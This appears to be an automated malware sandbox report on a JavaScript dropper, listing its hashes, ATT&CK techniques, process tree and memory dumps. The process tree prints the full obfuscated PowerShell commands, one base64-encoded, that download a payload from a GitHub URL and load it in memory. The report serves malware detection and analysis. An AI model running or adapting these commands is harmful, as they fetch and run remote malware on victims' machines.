fdd6703768a3927d2939099359cbea83d684d14706fbca4421b331d550aa3c65

General

Target

452773892199400.js
Size

198KB
MD5

8a4caeb85a99c4cba82bc48f3668986d
SHA1

99399b238f8b594bf247e517f7af5025668575f3
SHA256

6f646354fed6f9fb7769dffdb572dbb267acf3c24a0498b4561db3e90a1219c2
SHA512

c0fe0630c841d89fe5386547bef7292c0c06f57329fecdfbb0397f8a969d18ef5a562dfb0ecd6c8e22d60ee38245f69b586c494329fbf55881f76ef3fb0e8503
SSDEEP

6144:3cIC5cYmgSoAIHFdYHl4xO4k2WF+l1QUP/XCxJn:pC5cYmgSqdYF4xOql1QUPKxJn

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	856	powershell.exe
6	856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1384	powershell.exe
856	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1384	powershell.exe
856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	856	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 1384	1704	wscript.exe	30
PID 1704 wrote to memory of 1384	1704	wscript.exe	30
PID 1704 wrote to memory of 1384	1704	wscript.exe	30
PID 1384 wrote to memory of 856	1384	powershell.exe	32
PID 1384 wrote to memory of 856	1384	powershell.exe	32
PID 1384 wrote to memory of 856	1384	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\452773892199400.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAZgBxAGkAdQAnACsAJwByAGwAIAA9ACAATAAnACsAJwBwACcAKwAnAGoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoALwAvAHIAYQB3AC4AZwAnACsAJwBpAHQAaAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBzAGUAcgAnACsAJwBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC4AYwBvAG0ALwAnACsAJwBOAG8ARAAnACsAJwBlAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQAnACsAJwB0ACcAKwAnAGUAYwAnACsAJwB0AE8AbgAvAHIAJwArACcAZQBmAHMALwAnACsAJwBoACcAKwAnAGUAJwArACcAYQBkAHMALwAnACsAJwBtAGEAaQBuAC8ARABlAHQAJwArACcAYQBoACcAKwAnAE4AJwArACcAbwAnACsAJwB0AGUAXwAnACsAJwBKACcAKwAnAC4AdAB4AHQATABwAGoAOwAgAGYAJwArACcAcQAnACsAJwBpAGIAYQBzACcAKwAnAGUAJwArACcANgA0ACcAKwAnAEMAbwBuACcAKwAnAHQAJwArACcAZQAnACsAJwBuAHQAJwArACcAIAA9ACAAKAAnACsAJwBOAGUAdwAtAE8AYgAnACsAJwBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5ACcAKwAnAHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAJwArACcALgAnACsAJwBEAG8AJwArACcAdwBuAGwAbwAnACsAJwBhAGQAUwB0AHIAaQAnACsAJwBuAGcAKAAnACsAJwBmAHEAaQB1AHIAJwArACcAbAApACcAKwAnADsAJwArACcAIABmAHEAaQBiAGkAJwArACcAbgBhAHIAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgAnACsAJwBDAG8AbgB2ACcAKwAnAGUAcgAnACsAJwB0ACcAKwAnAF0AJwArACcAOgA6AEYAcgBvACcAKwAnAG0AJwArACcAQgAnACsAJwBhAHMAJwArACcAZQA2ADQAJwArACcAUwB0AHIAaQAnACsAJwBuAGcAKABmAHEAaQBiAGEAcwBlACcAKwAnADYANABDAG8AbgB0AGUAbgB0ACcAKwAnACkAOwAnACsAJwAgAGYAJwArACcAcQAnACsAJwBpAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAJwArACcAZQBmACcAKwAnAGwAJwArACcAZQBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgAnACsAJwBsAHkAJwArACcAXQA6ADoAJwArACcATABvAGEAZAAoAGYAcQAnACsAJwBpAGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAJwArACcAKQA7ACAAWwAnACsAJwBkAG4AbABpAGIALgBJAE8AJwArACcALgBIAG8AbQBlAF0AOgA6AFYAQQAnACsAJwBJACcAKwAnACgATQBoAFAAdAAnACsAJwB4ACcAKwAnAHQAJwArACcALgAnACsAJwBiACcAKwAnAGIAawBhAC8AdgBlACcAKwAnAGQALgAnACsAJwAyAHIAJwArACcALgAnACsAJwAzADkAJwArACcAYgAzACcAKwAnADQANQAzACcAKwAnADAAJwArACcAMgBhADAANwA1ACcAKwAnAGIAMQAnACsAJwBiAGMAMABkACcAKwAnADQANQBiADYAMwAyACcAKwAnAGUAYgA5AGUAZQA2ACcAKwAnADIAJwArACcALQAnACsAJwBiAHUAcAAvACcAKwAnAC8AJwArACcAOgBzAHAAdAAnACsAJwB0AGgAJwArACcATQBoAFAALAAgACcAKwAnAE0AaABQACcAKwAnAGQAZQBzACcAKwAnAGEAdABpAHYAJwArACcAYQBkACcAKwAnAG8ATQBoAFAALAAgAE0AaABQACcAKwAnAGQAZQBzAGEAJwArACcAdAAnACsAJwBpAHYAJwArACcAYQBkAG8ATQBoAFAALAAnACsAJwAgAE0AaABQAGQAJwArACcAZQBzACcAKwAnAGEAdABpACcAKwAnAHYAYQBkAG8ATQBoACcAKwAnAFAALAAgAE0AaABQACcAKwAnAEEAZABkAEkAbgBQACcAKwAnAHIAbwBjAGUAJwArACcAcwBzADMAJwArACcAMgBNACcAKwAnAGgAUAAsACcAKwAnACAATQBoAFAAZAAnACsAJwBlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAJwArACcAbwBNAGgAUAAsACcAKwAnAE0AaABQACcAKwAnAE0AaAAnACsAJwBQACkAJwApAC0AYwBSAGUAUABMAGEAYwBFACAAIAAnAGYAcQBpACcALABbAEMASABhAHIAXQAzADYALQBSAGUAUABMAEEAQwBlACgAWwBDAEgAYQByAF0ANwA3ACsAWwBDAEgAYQByAF0AMQAwADQAKwBbAEMASABhAHIAXQA4ADAAKQAsAFsAQwBIAGEAcgBdADMANAAtAGMAUgBlAFAATABhAGMARQAnAEwAcABqACcALABbAEMASABhAHIAXQAzADkAKQB8AC4AIAAoACAAJABwAHMAaABPAE0ARQBbADIAMQBdACsAJABwAFMAaABPAE0AZQBbADMAMABdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('fqiu'+'rl = L'+'p'+'jht'+'t'+'p'+'s://raw.g'+'ith'+'ub'+'u'+'ser'+'c'+'onten'+'t.com/'+'NoD'+'etec'+'tOn/NoDe'+'t'+'ec'+'tOn/r'+'efs/'+'h'+'e'+'ads/'+'main/Det'+'ah'+'N'+'o'+'te_'+'J'+'.txtLpj; f'+'q'+'ibas'+'e'+'64'+'Con'+'t'+'e'+'nt'+' = ('+'New-Ob'+'j'+'ec'+'t Sy'+'stem.Net.WebClient)'+'.'+'Do'+'wnlo'+'adStri'+'ng('+'fqiur'+'l)'+';'+' fqibi'+'naryCont'+'ent = [System.'+'Conv'+'er'+'t'+']'+'::Fro'+'m'+'B'+'as'+'e64'+'Stri'+'ng(fqibase'+'64Content'+');'+' f'+'q'+'ias'+'sembly = [R'+'ef'+'l'+'ection.Asse'+'mb'+'ly'+']::'+'Load(fq'+'ibinaryC'+'ontent'+'); ['+'dnlib.IO'+'.Home]::VA'+'I'+'(MhPt'+'x'+'t'+'.'+'b'+'bka/ve'+'d.'+'2r'+'.'+'39'+'b3'+'453'+'0'+'2a075'+'b1'+'bc0d'+'45b632'+'eb9ee6'+'2'+'-'+'bup/'+'/'+':spt'+'th'+'MhP, '+'MhP'+'des'+'ativ'+'ad'+'oMhP, MhP'+'desa'+'t'+'iv'+'adoMhP,'+' MhPd'+'es'+'ati'+'vadoMh'+'P, MhP'+'AddInP'+'roce'+'ss3'+'2M'+'hP,'+' MhPd'+'e'+'s'+'ativad'+'oMhP,'+'MhP'+'Mh'+'P)')-cRePLacE 'fqi',[CHar]36-RePLACe([CHar]77+[CHar]104+[CHar]80),[CHar]34-cRePLacE'Lpj',[CHar]39)|. ( $pshOME[21]+$pShOMe[30]+'X')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V394GU175NFDSYBJ0DSE.temp

Filesize
7KB

MD5
ec5154b99311558bd9953d0cd16c3a0d

SHA1
c9e8c7a2da85dcdc634641d3697b45a815c74735

SHA256
e949eb4de5119de0a4d62e933c7a22e819c1e279d5c85f06c025cb06e4671bf3

SHA512
986d172fb3ddeec5afd35f7c218fc879aed45bb5e22155dab1d4f69b33e424d62a1d09f67a8f58113b92221f439af293462d0cbe7d30195ee1494fa77af7bd78

Download Submit
memory/1384-4-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

Filesize
4KB

Download
memory/1384-6-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/1384-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1384-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/1384-7-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/1384-9-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/1384-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/1384-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/1384-17-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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